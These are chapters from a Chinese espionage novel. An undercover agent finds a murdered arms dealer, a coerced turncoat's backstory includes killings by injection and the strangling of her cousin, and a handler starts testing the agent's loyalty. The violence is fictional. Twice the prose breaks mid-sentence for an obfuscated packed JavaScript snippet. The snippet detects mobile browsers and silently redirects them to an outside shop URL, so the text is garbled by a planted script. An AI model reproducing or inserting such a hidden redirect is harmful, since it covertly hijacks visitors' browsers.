这是她与庞教官商量后的计划:既然真雪鸮已经逃脱,军火交接的压力越来越大,他们必须尽快找到真正的军火下落,或者至少制造出足够的证据来拖延时间——就像考试前熬夜。刘易斯是已知的唯一线索,尽管“渔夫”曾警告说他是双面间谍,但现在别无选择,像是饿了只能吃方便面。 四天前,叶馨蒙通过加密渠道联系了刘易斯,要求“提前验货”。刘易斯起初犹豫,说“没这个规矩”,但在她暗示“如果不配合就向战鹰揭露他的双重身份”后,终于同意在龟背岛的这个旧仓库见面,展示部分军火作为证明——大概是怕差评。 约定的时间是晚上九点。现在是八点五十七分,早到三分钟,显得积极。 仓库位于龟背岛港区的边缘,周围是一片废弃的工业区,夜晚除了雨声和偶尔的狗吠,再没有其他声音,像是世界末日后的场景。这里完美符合秘密交易的所有条件:偏僻、隐蔽、多出入口——也完美符合恐怖片的所有条件。 但也完美符合埋伏或陷阱的所有条件,像是专门设计的。 叶馨蒙深吸一口气,推开仓库的门。门轴发出刺耳的嘎吱声,在暴雨声中格外突兀,像是恐怖片音效。她打开手电筒,光束切开黑暗,照亮仓库内部,像是舞台追光。 这是一个典型的旧仓库,面积大约五百平方米,高顶,有几根支撑柱,像是恐龙骨架。地面上散落着一些木箱和油桶,空气里弥漫着机油、灰尘和潮湿混合的气味,像是机械的体味。手电筒的光束扫过,尘埃在光线中飞舞,像是微观雪花。 “刘易斯?”叶馨蒙喊道,声音在空旷的空间里回荡,像是喊山。 没有回应,只有回声。 她小心翼翼地走进去,阮文雄跟在她身后几步远的地方,手放在腰间——那里别着手枪,枪套看起来挺贵。两人保持着距离,这是相互不信任的表现,但此刻也是相互保护——像是互相怀疑的舞伴。 手电筒的光束扫过仓库的各个角落。在中央区域,她看到了一个打开的箱子,里面似乎有什么东西反射着金属光泽,像是宝藏。 她走过去,心跳加速。箱子里是几支步枪,用油纸包裹着,旁边还有几个弹匣和瞄准镜。看起来确实是军火,而且是专业级别的,像是电影道具但更真。 但不对劲。 叶馨蒙蹲下身,像是检查商品。枪械看起来很真,但她注意到一个细节:其中一支步枪的序列号位置有打磨痕迹,像是想隐瞒什么。而且油纸的包装方式……和她在训练中见过的军用标准包装略有不同,像是盗版包装。 “怎么样?”阮文雄在后面问,声音里有一丝不耐烦。 “看起来没问题。”叶馨蒙说,尽量让声音听起来确定,像是售货员,“但数量太少了。他说会有更多——可能还有赠品。” “他人呢?” “不知道。”叶馨蒙站起身,手电筒的光束继续扫视,像是在找走失的猫。她在仓库的另一侧看到了一个小门,可能是通往办公室或休息室,或者厕所。 两人对视一眼,默契地朝那个方向移动。雨声被仓库的墙壁隔绝,内部突然变得异常安静,只能听到他们的脚步声和呼吸声,像是进入另一个世界。 小门虚掩着,像是邀请。叶馨蒙用脚轻轻推开——不敢用手,手电筒的光照进去。 那是一间大约二十平方米的房间,有一张旧桌子、几把椅子、一个文件柜,像是廉价办公室。桌子上放着一盏煤油灯,已经熄灭,但空气中还残留着煤油的气味,像是野营。 还有另一种气味。 铁锈般的、甜腻的、令人作呕的气味。 血。大量的血。 叶馨蒙的手电筒光束移动,照到了房间的角落,像是舞台聚光灯找到了主角。 一个人靠墙坐着,头歪向一侧,眼睛睁着,空洞地望着天花板,像是在思考人生。是刘易斯。他穿着和上次见面时类似的卡其裤和Polo衫——可能只有这一套,但胸前有大片深色的污渍——那是干涸的血迹,像是打翻的红酒。他的左手垂在地上,右手放在腰间,似乎想掏武器但没有来得及,像是动作片里慢了一拍。 致命伤在胸口,至少有两枪,近距离射击,衣服上有明显的火药灼烧痕迹,像是烟花炸了。 叶馨蒙的呼吸一滞,像是被掐住脖子。她强迫自己保持冷静,快速扫视房间——训练过。没有明显的打斗痕迹,文件柜的门关着,桌子上的东西摆放整齐。煤油灯应该是刘易斯带来的,为了照明,省电。 这意味着什么?凶手是刘易斯认识的人,在他没有防备的情况下接近,然后突然开枪——像是背后捅刀。或者,凶手能力极强,让刘易斯根本没有反抗的机会——像是专业选手打业余。 “死了多久?”阮文雄在她身后问,声音冰冷,像是法医。 叶馨蒙走上前,小心地不触碰任何东西,像是怕破坏现场。她仔细观察尸体:血迹已经基本干涸,呈现暗红色,像是过期番茄酱;尸僵完全形成,但还没有开始缓解,像是冻僵了;室温大约二十度,尸体没有明显腐败迹象,还算新鲜。 “至少十二小时,不超过二十四小时。”她说,声音平稳得让自己都感到惊讶,像是背课文,“昨晚到今天凌晨之间——可能在睡梦中也可能在熬夜。” 阮文雄走到尸体旁,蹲下检查,动作专业。他戴上手套——随身带的,翻开刘易斯的眼皮,看了看瞳孔,又检查了伤口,像是在检查二手车。 “专业手法。”他说,语气像是赞叹,“两枪,心脏区域,近距离。干净利落,没有多余动作,像是外科手术。凶手要么是职业杀手,要么是受过专业训练的人——可能还考了证。” 他站起身,目光锐利地看向叶馨蒙,像是审问:“谁会杀他?而且偏偏在我们来验货的前一天?——太巧了。” 这是个陷阱般的问题。无论叶馨蒙怎么回答,都可能引起怀疑。如果她说不知道,显得无能;如果她猜测,可能暴露不该知道的信息;如果说“可能是你”,那就完了。 “可能是他的其他‘客户’。”她最终说,选择安全答案,“刘易斯做这种生意,仇家不会少,像是卖假货被投诉。或者……”她停顿了一下,像是思考,“有人不想他把军火交给我们——竞争对手。” 阮文雄盯着她看了几秒,眼神像是X光,然后环顾房间:“找找看有没有线索。他可能留下了什么——遗言,或者购物清单。” 两人开始分头搜索,像是在寻宝。叶馨蒙检查桌子抽屉,阮文雄检查文件柜和尸体——更专业的活。 桌子的抽屉里几乎空无一物,只有几张收据(超市的)、一支笔(没水)、一个打火机(没油)。叶馨蒙仔细翻找,在抽屉的最深处,她的手指碰到一个薄薄的硬物,像是藏宝。 她把它拿出来。那是一张照片,很小,已经有些褪色,像是老照片。照片上是一个年轻女人和一个小女孩,在海边笑着,背景是蓝天白云。女人的脸有些模糊,但能看出是亚洲人,大约三十岁;小女孩七八岁的样子,笑得很灿烂,缺颗牙。 照片背面用钢笔写着一行小字,字迹工整:“玛雅,七岁生日,巴厘岛,2018年6月。——爱你,爸爸。” 刘易斯的家人?叶馨蒙想起情报里提到,刘易斯离婚多年,有一个女儿跟着前妻生活,但具体信息不详——可能因为抚养费问题。 她把照片放进口袋——这是下意识的动作,等她意识到时已经太晚了。但她告诉自己:这可能是线索,关于刘易斯为什么参与这一切的线索——为了女儿的学费? “找到什么?”阮文雄问,他正在检查刘易斯的衣服口袋,像是在搜身。 “没什么,一些收据。”叶馨蒙说,声音自然,“你那边呢?有没有钱包?” “钱包、手机、钥匙。”阮文雄把东西摊在桌子上,像是摆摊,“手机被破坏了,SIM卡取走了,像是被踩过。钱包里只有现金和几张信用卡,没有身份证件——很专业,抹去了所有可追踪的信息,像是特工标准操作。” 他拿起手机看了看,对着光:“但凶手犯了一个错误——或者说,刘易斯在死前做了点手脚,像是最后的反抗。” 叶馨蒙走过去。阮文雄指着手机侧面一个几乎看不见的划痕:“这是某种标记。我见过类似的手法,情报人员用来表示‘情况危险’或‘有备份’——像是求救信号。” “备份?” “信息备份。”阮文雄说,像是解释,“如果刘易斯预感到危险,他可能把重要信息藏在了某个地方。而这个标记,是给知道如何解读的人看的——像是密码。” 他再次环顾房间,目光最终落在煤油灯上,像是突然开窍。他拿起灯,检查底座,然后拧开燃料罐的盖子——动作小心,像是拆炸弹。 里面没有煤油。 而是一卷极细的胶卷,用防水塑料包裹着,像是微型宝藏。 阮文雄小心地取出胶卷,对着灯光看了看,眯起眼睛:“微型胶卷,需要特殊设备读取——老派但安全。但我想我知道里面是什么,可能是黑市购物清单。” “军火的下落?”叶馨蒙猜测。 “或者名单。”阮文雄说,把胶卷对着光转着看,“客户的名单,交易的记录,或者其他什么能让某些人坐立不安的东西——比如谁欠他钱。” 他把胶卷放进口袋, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937059|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后看向尸体,表情严肃:“现在我们有个问题。刘易斯死了,军火的线索断了。你怎么向战鹰交代?——总不能说‘供应商意外死亡’。” 又是个致命问题。叶馨蒙的大脑飞速运转,像是超频的电脑。她需要给出一个既能保住自己,又能为组织争取时间的回答——像是考试作弊不被发现。 “刘易斯死了,但军火还在。”她说,语气坚定,像是推销员,“我知道他的一些备用计划。他曾经提过,如果出事,会有人接替他的工作——像是公司有备用经理。” “谁?” “‘渔夫’。”叶馨蒙决定赌一把,像是玩轮盘。既然“渔夫”主动接触过她,而且声称知道军火下落,那么把他拉进局中,可能是唯一的选择——像是拉垫背的。 阮文雄眯起眼睛,像是近视:“那个在龟背岛接触过你的人?自称欠真‘雪鸮’人情的?” “是的。他说他欠真‘雪鸮’人情,愿意帮忙。当时我没有完全信任他,但现在……”她看了看刘易斯的尸体,表情沉重,“现在看来,他可能是真‘雪鸮’安排的后手——像是备胎。” 这个解释符合逻辑:真雪鸮被捕前可能预感到危险,安排了“渔夫”作为备用联系人。而刘易斯,作为明面上的联系人,一旦出事,“渔夫”就会接替——像是接力赛。 阮文雄沉默了片刻,像是在思考,然后点头:“联系他。但要小心。如果刘易斯是他杀的,那他就是个危险人物——可能杀红眼了。” “我会谨慎。”叶馨蒙说,心里想“当然要谨慎”。 两人最后检查了一遍仓库,确认没有其他线索后,准备离开——像是游客看完景点。但就在他们转身时,叶馨蒙注意到了刘易斯尸体旁的地面上,有一个几乎看不见的印记,像是用血写的涂鸦。 她蹲下身仔细看,鼻子差点碰到尸体。那是用血写的,很淡,只有几个字母,而且部分被尸体遮挡了,像是没写完。 “……US……” 后面还有一个字母,但被刘易斯的手遮住了,像是故意。 叶馨蒙小心地挪开尸体的手——动作很轻,尽量不破坏现场,像是在拆礼物。完整的字迹露了出来: “EDWARDS” 爱德华斯?一个名字?还是地名?或者是品牌? 她记在心里,没有声张——可能是陷阱。站起身时,阮文雄已经走到门口,不耐烦:“走了。警察可能随时会来,这里不是久留之地——又不是博物馆。” 他们离开仓库,回到车上。雨依然很大,雨刷在挡风玻璃上疯狂摆动,像是在跳舞。阮文雄发动引擎,车子驶入黑暗的雨夜,像是潜艇入海。 “刘易斯的死,你怎么看?”阮文雄突然问,眼睛盯着前方被雨水模糊的道路,像是自言自语。 叶馨蒙斟酌着用词,像是写作文:“灭口。有人不想他说话,不想他把军火交给我们——像是封口。” “谁?真‘雪鸮’?她已经逃出来了,有可能——清理门户。” “或者……”叶馨蒙冒险提出另一个可能性,像是多选,“瑆洲的军方情报部门。他们可能发现了刘易斯与战鹰的联系,决定清除他——像是除草。” 阮文雄没有立刻回应。车子在雨中行驶了五分钟,他才说,语气平淡:“还有一个可能:刘易斯自己安排了这一切。假死,消失,带着军火去其他地方卖更高价——像是携款潜逃。” “那尸体……” “替身。”阮文雄说,像是讲电影剧情,“职业特工都有备用身份,甚至备用面孔。刘易斯这种前SAS,完全有能力安排一场假死——可能还买了保险。” 这个可能性叶馨蒙没有想过。但如果真是这样,那意味着刘易斯还活着,而且可能带着真正的军火线索消失了——像是人间蒸发。 无论哪种情况,线索都断了,像是断线的风筝。 “胶卷。”叶馨蒙说,像是提醒,“如果里面有信息……” “我会处理。”阮文雄打断她,语气不容置疑,“你现在的任务是联系‘渔夫’,尽快确定军火的下落。战鹰的耐心是有限的,维贾亚女士。你已经浪费了两周时间,除了一个死人,什么都没有——效率太低。” 他的语气里充满了警告。叶馨蒙明白,这是最后通牒。如果她不能尽快拿出成果,她在“战鹰”内部的地位将岌岌可危,甚至可能面临和刘易斯一样的下场——躺地板。 “明白。”她说,声音坚定,“我会在四十八小时内联系‘渔夫’,安排会面——像是相亲。” “二十四小时。”阮文雄纠正,像是老板定deadline,“我没有更多时间了。战鹰也没有——他最近脾气不好。” 车子驶入龟背岛市区,雨势稍小,但夜色更深了。霓虹灯在湿漉漉的街道上投下斑斓的倒影,行人匆匆,无人注意这辆普通的黑色SUV,以及车里两个各怀心事的人——像是城市里无数秘密之一。 回到酒店,叶馨蒙第一时间联系了庞教官,汇报了今晚的发现:刘易斯的死亡(细节),胶卷(重要),还有那个血写的名字“爱德华斯”(神秘)。 42. 叛变者斑头鸺鹠 庞教官的回复很简短,像是电报:“爱德华斯是线索。我们在查。胶卷很重要,想办法拿到副本或内容。‘渔夫’可以接触,但要极度谨慎。真‘雪鸮’已经逃脱,刘易斯被杀的时间点与她逃脱接近,很可能是她本人或她指使的人所为——清理痕迹。” 真雪鸮杀了刘易斯?为什么?灭口?报复?还是为了夺取军火控制权?——像是公司并购。 叶馨蒙想起刘易斯尸体上那干净利落的枪伤。确实是职业手法。如果是真雪鸮亲自出手,完全有可能——像是专业厨师切菜。 她感到一阵寒意,像是突然开了空调。那个她正在扮演的女人,那个她只在档案里见过的爪哇女特工,不仅逃脱了军方的严密监禁,还在逃脱后第一时间清除了自己的前联系人——效率真高。 果断,冷酷,高效。 这才是真正的雪鸮。而她,一个十九岁的女孩,正在试图扮演这样的存在,试图欺骗那些同样危险的人物——像是小孩扮大人。 差距太大了。她第一次如此清晰地意识到这一点,像是照镜子看到痘痘。 但已经没有退路了,像是上了贼船。 叶馨蒙关掉通讯设备,走到窗前。雨已经停了,夜空开始放晴,几颗星星在云层缝隙中闪烁,像是偷看的眼睛。龟背岛的夜晚依然热闹,街道上传来音乐声、车声、人声,像是正常世界。 她看着玻璃上自己的倒影:年轻的脸,疲惫的眼睛,紧抿的嘴唇——像是压力大的高中生。 刘易斯死了。下一个会是谁? “渔夫”?阮文雄?还是她自己?——可能按顺序。 她需要更快的进展,更准确的情报,更完美的表演。 因为在这场游戏中,失误的代价不是扣分,而是死亡——没有补考。 而死亡,往往来得突然而安静,就像今晚仓库里的刘易斯,在某个无人知晓的时刻,生命戛然而止,只留下一个血写的名字,和无数未解的谜团——像是悬疑小说开头。 叶馨蒙离开窗户,开始准备联系“渔夫”的信息,手指在键盘上敲击。 二十四小时。 她只有二十四小时,像是一天倒计时。 时间在流逝,而阴影,正在从四面八方聚拢,像是天黑。 ———————————————— 黄安妮,她的人生像一本小说,跌宕起伏……情要从三年前那个该死的周末说起。 那时黄安妮还不是“斑头鸺鹠”,只是瑆洲陆军第7情报支援营的一名普通下士,负责通讯截获和密码分析——说白了就是整天戴着耳机听别人打电话的枯燥工作。她的军旅生涯乏善可陈:入伍三年,升过一次衔,得过两次“优秀士兵”奖状,最大的成就是破解了某个走私团伙用来联络的儿童玩具密码。 但那个周末不一样。 那天是瑆洲的“城市节”,全城放假。营区里冷清得像殡仪馆,食堂的菜色比平时还糟糕——如果“糟糕”这个词还能用来形容本来就处于食物链底端的军用伙食的话。黄安妮和同寝室的三个女兵坐在宿舍里,盯着天花板上的霉斑发呆。 “我听说码头区今晚有夜市。”林雅雯说,她是四人中最年轻的,入伍才一年,“烤鱿鱼、沙嗲串、还有那种会发光的饮料……” “擅自离营被抓到要关禁闭的。”王丽娟推了推眼镜,她是技术兵种,最守规矩。 “关就关。”第三个女兵陈美玲从床上坐起来,“反正下周就要去丛林演习了,到时候想喝口干净水都难。不如现在出去爽一把。” 黄安妮本来不想去的。她那天正好来例假,肚子疼得想把自己焊在床上。但林雅雯凑过来,用那种小狗似的眼神看着她:“安妮姐,一起去嘛。你不在我们害怕。” 害怕个鬼。黄安妮心里想,但还是点了头。可能因为林雅雯让她想起了自己的表妹莎莎,那个同样会用无辜眼神骗人买冰淇淋的小混蛋。 于是晚上八点,四个穿着便服的女兵翻过了营区西北角的围墙——那里有个监控盲区,是她们上次帮后勤兵搬东西时偶然发现的。落地时黄安妮的肚子疼得更厉害了,她开始后悔这个决定。 但来都来了。 夜市比她们想象中热闹。人群拥挤,音乐嘈杂,各种食物的气味混合在一起。她们挤在人群中,吃着烤串,喝着那种确实会发光的可疑饮料,暂时忘记了军规和纪律。 然后事情就开始往荒诞的方向发展。 首先,陈美玲喝多了那种发光饮料,开始拉着一个卖气球的小贩跳舞。小贩的表情像是看到了神经病。 接着,王丽娟的眼镜在人群中被撞掉了,她蹲在地上摸来摸去,结果被人踩了一脚,发出杀猪般的惨叫。 黄安妮捂着肚子,看着这场闹剧,突然有种不祥的预感。她想说“我们回去吧”,但话还没出口,林雅雯就指着远处:“看!那边有算命摊!我们去算算姻缘!” 于是四个醉醺醺(或者肚子疼)的女兵挤到了一个吉普赛风格的算命摊前。摊主是个戴着夸张头巾的女人,脸上画着神秘图案,面前摆着水晶球和塔罗牌。 “姑娘们想算什么?”摊主用带着口音的英语问。 “姻缘!”林雅雯兴奋地说。 摊主盯着水晶球看了半天,然后抬头,表情严肃:“我看到……危险。你们今晚会遇到危险。” 黄安妮当时就该拉着她们逃跑的。 但陈美玲大笑起来:“危险?什么危险?被宪兵抓到的危险吗?” 摊主摇摇头,没有解释,只是重复:“很危险。非常危险。” 她们付了钱,笑着离开,觉得这摊主真是会吓唬人。 二十分钟后,预言成真了。 四个女兵在一条小巷里被三个男人堵住了。不是宪兵——宪兵至少还讲规矩。这三个男人穿着普通的夹克和牛仔裤,但眼神和站姿暴露了他们的身份:职业的。 “黄安妮下士?”为首的男人用爪哇语问。 黄安妮的心沉到了谷底。她们不仅被发现了,而且对方知道她的名字。 “你们是谁?”她反问,手悄悄摸向腰后——那里别着一把折叠刀,是夜市上买的纪念品。 男人笑了,那笑容里没有任何温度:“跟我们走一趟。安静点,不会伤害你们。” 后来的事情黄安妮记得很模糊。好像有挣扎,有叫喊,但很快就结束了。对方显然受过专业训练,三下五除二就制服了她们四个——其中两个还是受过基础格斗训练的士兵,但在真正的专业人士面前就像小孩子。 她们被蒙上眼睛,塞进一辆车,开了不知道多久。等眼罩被取下时,已经在一个没有窗户的房间里了。 房间里除了她们,还有两个男人。一个坐在椅子上,穿着西装,看起来很温和;另一个站着,肌肉发达,面无表情。 “晚上好,女士们。”穿西装的男人用流利的瑆洲话说,“我是萨尼托少校,爪哇情报局的。抱歉用这种方式请你们来,但情况特殊。” 陈美玲第一个反应过来:“你们这是绑架!我们是瑆洲军人!外交事件!” 萨尼托少校微笑:“是的,我知道。但如果你们的上级知道你们今晚擅自离营,还喝了酒,会不会先处罚你们呢?” 沉默。他说得对。如果这事曝光,她们的前途就完了。 “你想要什么?”黄安妮问,尽量保持冷静。 “合作。”萨尼托说,“很简单。我们需要一些信息,关于你们营最近截获的一些通讯。你们提供,我们放你们走,而且保证这件事不会传到你们上级那里。” “不可能。”王丽娟说,“那是军事机密。” 萨尼托叹了口气,好像很遗憾:“那我只好换个方式了。” 他对那个肌肉男点了点头。肌肉男走向林雅雯——最年轻、最胆小的那个。 接下来的事情黄安妮不愿意回忆。总之,肌肉男用了些“不太温柔”的手段,林雅雯的惨叫声在房间里回荡。陈美玲和王丽娟试图反抗,但被轻易制服。 黄安妮坐在那里,肚子疼,头晕,耳朵里全是林雅雯的哭声和朋友的叫骂。她看着萨尼托,那个男人依然微笑着,好像在看一场无聊的舞台剧。 “停。”当林雅雯几乎昏厥时,萨尼托终于说。他走到黄安妮面前,蹲下,与她平视:“现在呢?合作吗?” 黄安妮看着朋友们。林雅雯脸上全是泪,陈美玲和王丽娟被按在地上,眼神里充满了恐惧和愤怒。 “如果我说不呢?”她问,声音颤抖。 萨尼托笑了,那是黄安妮见过最恶心的笑容:“那我就只好一个个来了。先从那个戴眼镜的开始?还是这个跳舞的?” 黄安妮闭上了眼睛。三秒钟后,她睁开:“我合作。” “安妮!”陈美玲喊道。 “闭嘴!”黄安妮第一次对她吼,“你想大家都死在这里吗?” 萨尼托鼓掌:“明智的选择。那么,我们先从……” 他的话没说完,因为门突然开了。另一个男人走进来,在萨尼托耳边低语了几句。萨尼托的表情变了,从温和变得冰冷。 “计划有变。”他站起来,“我们得转移。有人注意到了。” 肌肉男开始行动。他走向林雅雯,手里多了一个注射器。 “你要干什么?”黄安妮喊道。 “镇静剂。”萨尼托说,“让她们安静点。放心,不会死的。” 但黄安妮看到了注射器里的液体——那不是普通的镇静剂,颜色不对,剂量也太大。 “等等——”她想要站起来,但肚子一阵剧痛,又坐了回去。 注射器刺进了林雅雯的脖子。几秒钟后,女孩的身体开始抽搐,眼睛翻白,嘴角冒出白沫。 那不是镇静剂。 陈美玲和王丽娟开始疯狂挣扎,但肌肉男动作很快。两个注射器,两次刺入,同样的反应。 黄安妮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937060|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着三个朋友在地上抽搐,生命一点点流逝。她想吐,但胃里空空如也。她想哭,但眼泪流不出来。她只是坐在那里,像一尊石像。 萨尼托走到她面前,手里拿着第四个注射器:“轮到你了。除非……” “除非什么?”黄安妮的声音像从很远的地方传来。 “除非你真正加入我们。”萨尼托说,“不是一次合作,是永久性的。为我们工作,成为我们的人。那样你就能活,而且会有很好的报酬。” 黄安妮看着地上的三具尸体。十分钟前,她们还在夜市上笑着、吃着、喝着发光的饮料。现在她们死了,死在这个没有窗户的房间里,死得毫无意义。 “为什么是我?”她问。 “因为你最聪明。”萨尼托说,“资料显示你是你们营最好的密码分析员。我们需要这样的人才。” “如果我拒绝呢?” 萨尼托举起了注射器。 黄安妮沉默了五秒。然后她说:“好。” 就这样,黄安妮·林下士死了,“斑头鸺鹠”诞生了。 *** 一年后,黄安妮已经习惯了双重生活。表面上,她以“健康原因”从瑆洲陆军退伍,现在在一家进出口公司做文员。实际上,她是爪哇情报局在瑆洲的潜伏特工,代号“斑头鸺鹠”,负责收集经济和军事情报。 她学会了如何平静地看着曾经的同僚,知道他们的秘密,然后把这些秘密传给敌人。她学会了如何撒谎,如何伪装,如何在夜里被噩梦惊醒后继续入睡。 最讽刺的是,她其实做得不错。萨尼托少校(现在是上校了)对她很满意,给她的报酬也确实丰厚。她用这些钱给父母买了新房子,给自己买了名牌包包和衣服——好像物质能填补内心的空洞似的。 但空洞还是在那里,每天晚上都张着大口,想要吞噬她。 直到表妹莎莎出事。 莎莎比黄安妮小八岁,是个天真到愚蠢的大学生,学的是美术,整天画些谁也看不懂的抽象画。她对表姐的“真实工作”一无所知,只知道安妮姐从军队退役后找了份不错的工作,经常出国出差,每次都给她带礼物。 那个周末,莎莎来黄安妮的公寓玩,说要借一些“有异国情调”的东西当绘画素材。黄安妮正好要出去见一个线人,就让莎莎自己待着。 “别碰我书房的东西。”她走前叮嘱,“特别是那个红色文件夹。” “知道啦知道啦。”莎莎挥挥手,已经打开了电视。 黄安妮应该更谨慎的。但她那天很累,那个线人很难搞,她满脑子都是如何完成任务,忘了莎莎是个好奇心能害死九只猫的人。 四小时后她回来时,莎莎不在客厅。书房的门半开着。 黄安妮的心跳漏了一拍。她冲进去,看到莎莎坐在她的电脑前,脸色苍白,手里拿着那个红色文件夹。 文件夹里是黄安妮这个月要传递的情报原件——瑆洲港口安检升级计划的详细内容,还有几张偷拍的照片。 “安妮姐……”莎莎的声音在颤抖,“这是什么?” 黄安妮的大脑一片空白。她想过无数种暴露的方式:被瑆洲反情报部门发现,被组织内部的人出卖,甚至自己不小心犯错。但她从没想过,会是自己那个画抽象画的傻表妹。 “莎莎,听我解释……”她走过去,声音尽量平静。 “这些是……军事机密吧?”莎莎翻看着文件,“你为什么要偷拍这些?还有这些爪哇文的笔记……” “把文件夹给我。”黄安妮伸出手。 莎莎看着她,眼神从困惑变成了恐惧:“安妮姐,你在为谁工作?” 糟糕的问题。更糟糕的是,莎莎问的时候,眼睛瞥向了书桌抽屉——那里有一把黄安妮防身用的手枪。 接下来的事情发生得很快。 莎莎冲向书桌。黄安妮也动了。两人几乎同时到达,莎莎的手碰到了抽屉把手,黄安妮的手抓住了她的手腕。 “放手!”莎莎挣扎。 “莎莎,冷静点!” “你要把这些卖给外国人!你是叛徒!” 这个词像一把刀刺进黄安妮的心脏。她想解释,想告诉莎莎那天晚上在夜市发生的事情,想告诉她三个朋友是怎么死的,想告诉她有时候选择不是黑白分明的。 但莎莎不听。她疯了似的挣扎,尖叫着要报警。 黄安妮捂住了她的嘴。莎莎咬了她,很用力,血渗出来。疼痛让黄安妮失去了理智,她用了在爪哇情报局学到的擒拿技巧,把莎莎按在地上,一只手捂住她的嘴,另一只手卡住她的脖子。 “安静!莎莎,求你安静!”她低声说。 但莎莎安静不了。她继续挣扎,踢打,眼睛瞪得大大的,里面充满了愤怒和背叛。 黄安妮的手越收越紧。她不知道自己在做什么,只是本能地想让她安静,想让这一切停止。 等意识到时,莎莎已经不动了。 43. 怀疑滋生 黄安妮松开手,看着表妹的脸。莎莎的眼睛还睁着,但已经没有了神采。她的脖子上一圈红印,脸色青紫。 死了。 黄安妮坐在地上,背靠着书桌,看着莎莎的尸体。她想哭,但哭不出来。想尖叫,但发不出声音。她只是坐在那里,看着自己亲手杀死的表妹,脑子里的念头一个比一个荒谬: 莎莎明天还有美术课要交作业。 她上周说要带男朋友来见家长。 她最喜欢吃楼下那家店的芒果糯米饭。 而现在,她死了。被自己的表姐掐死了,因为发现表姐是个叛徒。 幽默。如果这还不是幽默,那世界上就没有幽默了。 黄安妮不知道坐了多久。直到手机震动,萨尼托发来信息:“情报收到了吗?明天交接。” 她看着那条信息,又看看莎莎的尸体,突然笑了起来。声音先是压抑的咯咯声,然后变成疯狂的大笑,笑到眼泪都流出来,笑到喉咙发痛。 笑完了,她站起来,开始处理尸体。 很专业,很冷静,就像她做其他工作一样。把尸体裹在床单里,塞进行李箱,开车到郊外,挖坑,埋掉。整个过程没有多余的情绪,只有机械般的效率。 回家后,她清理了现场,把红色文件夹里的情报扫描发送,然后洗了个长长的澡。 站在淋浴下,热水冲刷着她的身体,她看着自己的手——那双手刚刚掐死了世界上唯一还爱着她的人。 “斑头鸺鹠。”她对着水雾说,“你真他妈是个合格的叛徒。” 然后她继续洗澡,像什么都没发生过一样。 *** 现在,三年过去了。 黄安妮——或者说斑头鸺鹠——站在龟背岛某酒店房间的窗前,看着下面的街道。她刚刚收到命令:监视一个叫“拉特娜·维贾亚”的女人,代号雪鸮,据说她掌握着一批重要军火。 黄安妮对这个任务没什么热情。她已经习惯了麻木地执行命令,不管命令有多荒唐或多邪恶。 手机震动,一条新信息:“目标已与阮文雄(鱼鹰)会面。继续监视。必要时可接触。” 她回复:“收到。” 放下手机,黄安妮走到镜子前,看着里面的自己。三十一岁,眼角有了细纹,眼神空洞,像一具会走路的尸体。 有时候她会想,如果那天晚上她没有翻过营区的围墙,如果她没有去夜市,如果没有遇到那个算命摊,如果…… 没有如果。人生就是这样一连串荒诞的选择,每个选择都把你推向更荒诞的结局。 她想起算命摊主的话:“你们今晚会遇到危险。” 那个女人说对了,但没说全。 危险不是那一晚就结束的。危险才刚刚开始,而且会持续一辈子。 黄安妮对着镜子笑了笑,那笑容比哭还难看。 “斑头鸺鹠。”她对自己说,“至少你还没死。” 然后她转身,开始准备监视装备。 毕竟,工作还得继续。 哪怕这工作让她变成了一个掐死自己表妹的怪物。 如果阮文雄——也就是“鱼鹰”——的人生信条是什么,那一定是“宁可错杀三千,不可放过一个”。尤其是在他发现自己可能招了个假货进鹰巢之后。 事情要从三天前说起。那时叶馨蒙(伪装成拉特娜·维贾亚,也就是雪鸮)刚从龟背岛回来,脸上带着那种“我差点被雨淋死但还是很专业”的表情。她汇报说刘易斯死了,军火线索断了,但还有个叫“渔夫”的备用联系人。 阮文雄当时就笑了,是那种皮笑肉不笑的笑:“死了?这么巧?刚好在我们去的前一天?” 叶馨蒙(让我们暂时叫她假雪鸮)一脸真诚:“我也觉得蹊跷。现场很专业,像是职业灭口。” “那‘渔夫’呢?”阮文雄问,“这个突然冒出来的人,你就这么信任?” 假雪鸮解释了一通,说什么雪鸮可能提前安排了备用联系人,什么刘易斯不可靠之类的。阮文雄听着,点头,微笑,心里想的却是:这姑娘编故事的能力倒是一流。 但他没当场揭穿。毕竟,万一是真的呢?万一是自己多疑呢?战鹰说过要给她机会证明。 于是阮文雄决定进行一系列“小测试”。不是那种拿枪指着头的测试——太粗鲁了。而是更精细、更优雅的测试,像猫玩老鼠那样,慢慢来。 **测试一:爪哇语突击考** 时间:第二天早餐时 地点:酒店餐厅 测试内容:假装无意间用爪哇俚语说了一句“今天的咖啡像洗脚水” 假雪鸮当时正在切煎蛋,听到这句话后动作停了0.5秒——阮文雄用眼角余光捕捉到了。然后她抬起头,露出困惑的表情:“你说什么?” “我说咖啡很苦。”阮文雄微笑,“像爪哇某些地区的特产咖啡。” “哦。”假雪鸮点头,“我不太喝咖啡,更喜欢茶。” 完美的回避。但太完美了。一个真正的爪哇人,听到那句俚语应该会笑,或者至少会有点反应。而她只是困惑。 可疑指数:+20% **测试二:军火专业知识测试** 时间:当天下午 地点:车上,前往某仓库的途中 测试内容:假装闲聊,问她对某种特定型号狙击步枪的看法 “说起来,”阮文雄握着方向盘,语气随意,“你用过□□M107吗?我听说后坐力很大。” 